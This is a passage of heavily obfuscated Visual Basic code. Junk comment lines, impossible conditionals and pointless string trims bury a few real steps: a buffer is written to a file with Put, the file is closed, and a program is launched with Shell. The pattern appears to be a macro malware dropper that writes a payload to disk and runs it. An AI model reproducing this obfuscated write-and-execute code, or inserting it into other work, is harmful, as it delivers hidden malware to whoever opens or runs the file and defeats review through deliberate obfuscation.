  875. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  876. End If
  877. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  878. YOYMAPIG = "           DQMYDI               "
  879. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  880.  
  881. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  882. If 129799 = 129799 + 1 Then End
  883. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  884. If 1195 < 66 Then
  885. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  886.        MsgBox ("XODUSTSR27")
  887. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  888. End If
  889. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  890. If Len("MELXZUFY2855") = Len("XUWPQTDS") Then
  891. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  892.       MsgBox ("ERROR !!!")
  893. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  894. End If
  895. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  896. OWMGQUKO = LTrim(YOYMAPIG)
  897. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  898.  
  899. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  900. If 444271 = 444271 + 1 Then End
  901. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  902. If 7497 < 78 Then
  903. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  904.        MsgBox ("XISOTIPF23")
  905. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  906. End If
  907. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  908. If Len("RVHUFAYU8347") = Len("BKGDUYLM") Then
  909. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  910.       MsgBox ("ERROR !!!")
  911. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  912. End If
  913. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  914. CQNKHLEJ = RTrim(OWMGQUKO)
  915. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  916.  
  917. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  918.  
  919. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  920. If 992887 = 992887 + 1 Then End
  921. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  922. If 9826 < 54 Then
  923. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  924.        MsgBox ("HBBSLJUP16")
  925. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  926. End If
  927. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  928. If Len("FMYZPLOQ3189") = Len("GVOGKJIL") Then
  929. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  930.       MsgBox ("ERROR !!!")
  931. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  932. End If
  933. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  934.    Put #LSCOYILUQNP, , APXADSKJDFK
  935. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  936.  
  937. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  938. Dim RKAEJSTU, HCDYLNOK, FIJLJZGJ As String
  939. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  940. If 628364 = 628364 + 1 Then End
  941. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  942. If 1628 < 34 Then
  943. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  944.        MsgBox ("LZEVLPWP16")
  945. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  946. End If
  947. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  948. If Len("LUEGFPYO4882") = Len("ZWPPQAJO") Then
  949. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  950.       MsgBox ("ERROR !!!")
  951. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  952. End If
  953. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  954. RKAEJSTU = "           DMFVOI               "
  955. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  956.  
  957. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  958. If 968469 = 968469 + 1 Then End
  959. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  960. If 7167 < 36 Then
  961. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  962.        MsgBox ("LYUSKPUF88")
  963. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  964. End If
  965. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  966. If Len("EYEPRNSE1331") = Len("RPUVDBQO") Then
  967. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  968.       MsgBox ("ERROR !!!")
  969. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  970. End If
  971. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  972. HCDYLNOK = LTrim(RKAEJSTU)
  973. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  974.  
  975. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  976. If 757677 = 757677 + 1 Then End
  977. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  978. If 8227 < 75 Then
  979. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  980.        MsgBox ("BLNDHTQD29")
  981. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  982. End If
  983. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  984. If Len("UOESVCUT9968") = Len("AEAKKEMK") Then
  985. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  986.       MsgBox ("ERROR !!!")
  987. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  988. End If
  989. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  990. FIJLJZGJ = RTrim(HCDYLNOK)
  991. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  992.  
  993. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  994.  
  995. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  996. If 243688 = 243688 + 1 Then End
  997. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  998. If 9811 < 54 Then
  999. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1000.        MsgBox ("EWZNHVND16")
  1001. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1002. End If
  1003. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1004. If Len("FWNBZGRZ3274") = Len("GBEDPSEO") Then
  1005. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1006.       MsgBox ("ERROR !!!")
  1007. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1008. End If
  1009. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1010.    Close #LSCOYILUQNP
  1011. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1012.  
  1013. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1014. Dim TBUDDQFH, ABKNIGQK, XNZSZLOL As String
  1015. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1016. If 875723 = 875723 + 1 Then End
  1017. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1018. If 5596 < 58 Then
  1019. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1020.        MsgBox ("YEPCWFZY42")
  1021. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1022. End If
  1023. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1024. If Len("WEKELNPJ6446") = Len("GXJODTCT") Then
  1025. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1026.       MsgBox ("ERROR !!!")
  1027. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1028. End If
  1029. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1030. TBUDDQFH = "           XALBQB               "
  1031. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1032.  
  1033. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1034. If 617725 = 617725 + 1 Then End
  1035. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1036. If 6974 < 91 Then
  1037. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1038.        MsgBox ("VTZZUBDX77")
  1039. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1040. End If
  1041. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1042. If Len("UTBZLGKS7834") = Len("OIZGZFJL") Then
  1043. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1044.       MsgBox ("ERROR !!!")
  1045. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1046. End If
  1047. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1048. ABKNIGQK = LTrim(TBUDDQFH)
  1049. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1050.  
  1051. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1052. If 778494 = 778494 + 1 Then End
  1053. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1054. If 7426 < 92 Then
  1055. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1056.        MsgBox ("CTAYLWIJ22")
  1057. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1058. End If
  1059. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1060. If Len("TWTRZFEI2689") = Len("DOSNBTGI") Then
  1061. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1062.       MsgBox ("ERROR !!!")
  1063. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1064. End If
  1065. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1066. XNZSZLOL = RTrim(ABKNIGQK)
  1067. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1068.  
  1069. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1070.  
  1071. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1072. If 713444 = 713444 + 1 Then End
  1073. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1074. If 7931 < 11 Then
  1075. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1076.        MsgBox ("URYDJIUI87")
  1077. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1078. End If
  1079. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1080. If Len("RBSZUPOP8781") = Len("KUYBSCQT") Then
  1081. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1082.       MsgBox ("ERROR !!!")
  1083. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1084. End If
  1085. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1086.    
  1087. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1088.  
  1089. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1090.    Dim RBBAEZCGQNT
  1091. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1092. Dim XVFANLAI, AMWWDFLN, MPDURMIR As String
  1093. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1094. If 517577 = 517577 + 1 Then End
  1095. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1096. If 8131 < 75 Then
  1097. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1098.        MsgBox ("BKOZUOYW95")
  1099. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1100. End If
  1101. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1102. If Len("LDEOSJTZ9981") = Len("ZAQTOIHZ") Then
  1103. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1104.       MsgBox ("ERROR !!!")
  1105. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1106. End If
  1107. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1108. XVFANLAI = "           DHPAWI               "
  1109. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1110.  
  1111. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1112. If 241588 = 241588 + 1 Then End
  1113. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1114. If 5295 < 27 Then
  1115. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1116.        MsgBox ("EVKJGIMN31")
  1117. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1118. End If
  1119. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1120. If Len("MOLVHKQO9468") = Len("WDXQVHOH") Then
  1121. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1122.       MsgBox ("ERROR !!!")
  1123. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1124. End If
  1125. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1126. AMWWDFLN = LTrim(XVFANLAI)
  1127. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1128.  
  1129. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1130. If 321267 = 321267 + 1 Then End
  1131. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1132. If 9961 < 93 Then
  1133. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1134.        MsgBox ("JLBQTHSY76")
  1135. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1136. End If
  1137. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1138. If Len("JBVABHXT4234") = Len("SKVYKXPL") Then
  1139. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1140.       MsgBox ("ERROR !!!")
  1141. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1142. End If
  1143. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1144. MPDURMIR = RTrim(AMWWDFLN)
  1145. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1146.  
  1147. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1148.  
  1149. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1150. If 447832 = 447832 + 1 Then End
  1151. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1152. If 7168 < 36 Then
  1153. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1154.        MsgBox ("SWAPWBJY51")
  1155. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1156. End If
  1157. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1158. If Len("EYZKCOYG1332") = Len("RPYTTUYW") Then
  1159. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1160.       MsgBox ("ERROR !!!")
  1161. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1162. End If
  1163. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1164.    RBBAEZCGQNT = Shell(PAUINJYOMZI, 1)
  1165. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1166.  
  1167. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1168.  
  1169. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  1170. Dim URERLENK, XMOICGSN, VYVZUSWM As String
